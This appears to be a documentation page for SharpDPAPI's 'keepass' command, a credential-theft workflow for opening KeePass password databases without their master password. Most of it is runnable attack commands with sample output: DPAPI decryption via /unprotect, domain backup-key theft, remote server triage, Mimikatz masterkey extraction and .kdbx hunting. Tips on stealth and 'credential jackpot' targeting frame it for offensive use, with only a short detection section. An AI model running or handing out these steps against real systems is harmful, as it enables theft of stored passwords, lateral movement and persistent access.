keepass

Overview

The keepass command searches for and decrypts KeePass ProtectedUserKey.bin files. These files contain DPAPI-protected key material used by KeePass to encrypt password databases, providing access to potentially hundreds of stored credentials.

KeePass can use Windows DPAPI to protect its master key file. Decrypting this file allows you to open KeePass databases without knowing the master password.

Basic Usage

# Decrypt with CryptUnprotectData (unprivileged)
SharpDPAPI.exe keepass /unprotect

# Decrypt with domain backup key
SharpDPAPI.exe keepass /pvk:key.pvk

# Decrypt with masterkey mappings
SharpDPAPI.exe keepass {GUID1}:SHA1 {GUID2}:SHA1

# Target specific ProtectedUserKey.bin file
SharpDPAPI.exe keepass /target:C:\Path\To\ProtectedUserKey.bin /unprotect

Command Arguments

Decryption Methods

CryptUnprotectData
Domain Backup Key
Masterkey Mappings
User Credentials

# Use Windows API for decryption (unprivileged)
SharpDPAPI.exe keepass /unprotect

This method works without needing masterkeys if run from the user context who created the protected key file. No LSASS access required!

# Base64-encoded key
SharpDPAPI.exe keepass /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...

# Key file
SharpDPAPI.exe keepass /pvk:key.pvk

First decrypts user masterkeys, then uses them to decrypt the KeePass key file.

# Inline masterkeys
SharpDPAPI.exe keepass {GUID1}:SHA1 {GUID2}:SHA1

# Masterkey file
SharpDPAPI.exe keepass /mkfile:masterkeys.txt

Directly uses pre-decrypted masterkeys for key file decryption.

# Plaintext password
SharpDPAPI.exe keepass /password:Password123!

# NTLM hash
SharpDPAPI.exe keepass /ntlm:8846F7EAEE8FB117AD06BDD830B7586C

# DPAPI credkey
SharpDPAPI.exe keepass /credkey:abc123...

Decrypts user masterkeys first, then the KeePass key file.

Targeting Options

Argument	Description
`/target:FILE`	Target specific ProtectedUserKey.bin file
`/target:FOLDER`	Target folder containing KeePass key files
`/server:SERVER`	Triage remote server (requires admin access + pvk/password)

When using /target with a file, you must provide either /unprotect or :SHA1 masterkey mappings. When using /target with a folder, the folder must contain DPAPI masterkeys if using /pvk.

Execution Context

Elevated
Unelevated

When run with administrative privileges:

Triages all users on the system
Searches all user profiles for KeePass key files
Maximum key recovery

When run without elevation:

Only triages current user
Can use /unprotect without masterkeys
Most OPSEC-friendly approach

Example: Using /unprotect

SharpDPAPI.exe keepass /unprotect

Output:

[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

Save the Key Bytes output - these can be used with the modified KeePass version from KeeThief to open password databases.

Using Decrypted Key Bytes

Once you have the decrypted key bytes, you can use them to open KeePass databases:

Obtain Decrypted Key

SharpDPAPI.exe keepass /unprotect
# Save the "Key Bytes" output

Get Modified KeePass

Download the modified KeePass from KeeThiefThis version accepts raw key bytes instead of a master password

Open Database

Use the decrypted key bytes with the modified KeePass to open the user’s password database without knowing their master password

KeePass Protected Key File Location

Default Location:

%APPDATA%\KeePass\ProtectedUserKey.bin

Alternative Locations:

Custom KeePass configuration directories
Portable KeePass installations
Network/shared KeePass configurations

How KeePass DPAPI Protection Works

User Enables Protection

KeePass offers “User account” protection option which uses Windows DPAPI

Key Material Encryption

KeePass encrypts the master key material with user’s DPAPI masterkey

Protected Key Saved

Encrypted key saved to ProtectedUserKey.bin in KeePass profile

Automatic Unlock

When KeePass runs, it uses CryptUnprotectData() to automatically decrypt the key

This protection binds the KeePass database to the Windows user account. If the user logs in, KeePass can open automatically without prompting for a password.

Common Scenarios

Unprivileged Execution (Recommended)

Run as the target user without elevation:

# No masterkeys or elevation needed
SharpDPAPI.exe keepass /unprotect

# Target specific key file
SharpDPAPI.exe keepass /target:C:\Users\admin\AppData\Roaming\KeePass\ProtectedUserKey.bin /unprotect

Benefits:

No LSASS access required
No elevation needed
Minimal detection footprint

Post-Domain Compromise

After obtaining domain admin and backup key:

# 1. Retrieve backup key
SharpDPAPI.exe backupkey /file:key.pvk

# 2. Decrypt KeePass keys locally
SharpDPAPI.exe keepass /pvk:key.pvk

# 3. Decrypt on remote systems
SharpDPAPI.exe keepass /pvk:key.pvk /server:admin-workstation.domain.com

Using Mimikatz-Extracted Masterkeys

Extract masterkeys and decrypt KeePass key files:

# 1. In Mimikatz
# mimikatz# privilege::debug
# mimikatz# sekurlsa::dpapi

# 2. Run SharpDPAPI with extracted masterkeys
SharpDPAPI.exe keepass {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...

Offline/Forensic Analysis

Analyzing copied KeePass configuration:

# Target specific file with backup key
SharpDPAPI.exe keepass /target:C:\Evidence\ProtectedUserKey.bin /pvk:key.pvk

# With masterkey mappings
SharpDPAPI.exe keepass /target:C:\Evidence\ProtectedUserKey.bin {GUID}:SHA1

Finding KeePass Databases

After decrypting the protected key, locate the KeePass databases: Common Locations:

%USERPROFILE%\Documents\*.kdbx
%USERPROFILE%\Desktop\*.kdbx
%USERPROFILE%\KeePass\*.kdbx
Network shares
Cloud storage (OneDrive, Dropbox, etc.)

Search for databases:

# PowerShell
Get-ChildItem -Path C:\Users\ -Recurse -Filter *.kdbx -ErrorAction SilentlyContinue

# CMD
dir C:\Users\*.kdbx /s

Detection Considerations

Host-Based Indicators:

Reading ProtectedUserKey.bin file
Non-KeePass processes accessing KeePass configuration
Enumeration of KeePass directories
Access to .kdbx database files

Defensive Monitoring:

Monitor access to %APPDATA%\KeePass\ProtectedUserKey.bin
Alert on ProtectedUserKey.bin access by non-KeePass processes
Track .kdbx file access patterns
Detect bulk KeePass configuration enumeration
Monitor for LSASS access (when not using /unprotect)

Event Log Indicators:

Event ID: 4663 (File Access)
Object Name: *\KeePass\ProtectedUserKey.bin
Object Name: *.kdbx
Process Name: Not KeePass.exe

Why Target KeePass?

Credential Jackpot

Password managers contain hundreds or thousands of credentials

High-Value Targets

Often contains admin, service account, and critical system passwords

Lateral Movement

Provides credentials for multiple systems and services

Persistent Access

Credentials remain valid even after user password changes

triage

Comprehensive user DPAPI triage

credentials

Decrypt Credential Manager files

masterkeys

Decrypt user masterkeys

backupkey

Retrieve domain backup key

Tips

Best Practices

Prefer /unprotect when running as the target user
Look for KeePass on administrator and privileged user workstations
After decrypting key, search entire system for .kdbx files
Check network shares and cloud storage for KeePass databases
Combine with file search to locate all password databases

OPSEC Considerations

Use /unprotect for minimal detection footprint
Run without elevation when possible
Target specific files if locations are known
Redirect output to file with /consoleoutfile
Avoid bulk enumeration if stealth is required

Troubleshooting

No KeePass files found:

User may not use KeePass protection feature
KeePass may use master password instead of Windows protection
Check for portable KeePass installations
Look in non-standard configuration directories

Decryption fails with /unprotect:

Must run from the user context who created the protected key
Try using masterkeys or backup key instead
Verify you’re running as the correct user
File may be corrupted or invalid format

Can’t find KeePass database:

Search entire file system for .kdbx files
Check network shares and mapped drives
Look in cloud storage sync folders
User may keep database on removable media

Additional Resources

KeeThief Project

Modified KeePass version and additional tools for KeePass credential extraction

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

Overview

Basic Usage

Command Arguments

Decryption Methods

Targeting Options

Execution Context

Example: Using /unprotect

Using Decrypted Key Bytes

KeePass Protected Key File Location

How KeePass DPAPI Protection Works

Common Scenarios

Finding KeePass Databases

Detection Considerations

Why Target KeePass?

Credential Jackpot

High-Value Targets

Lateral Movement

Persistent Access

triage

credentials

masterkeys

backupkey

Tips

Additional Resources

KeeThief Project

​Overview

​Basic Usage

​Command Arguments

​Decryption Methods

​Targeting Options

​Execution Context

​Example: Using /unprotect

​Using Decrypted Key Bytes

​KeePass Protected Key File Location

​How KeePass DPAPI Protection Works

​Common Scenarios

​Finding KeePass Databases

​Detection Considerations

​Why Target KeePass?

Credential Jackpot

High-Value Targets

Lateral Movement

Persistent Access

​Related Commands

triage

credentials

masterkeys

backupkey

​Tips

​Additional Resources

KeeThief Project

Overview

Basic Usage

Command Arguments

Decryption Methods

Targeting Options

Execution Context

Example: Using /unprotect

Using Decrypted Key Bytes

KeePass Protected Key File Location

How KeePass DPAPI Protection Works

Common Scenarios

Finding KeePass Databases

Detection Considerations

Why Target KeePass?

Related Commands

Tips

Additional Resources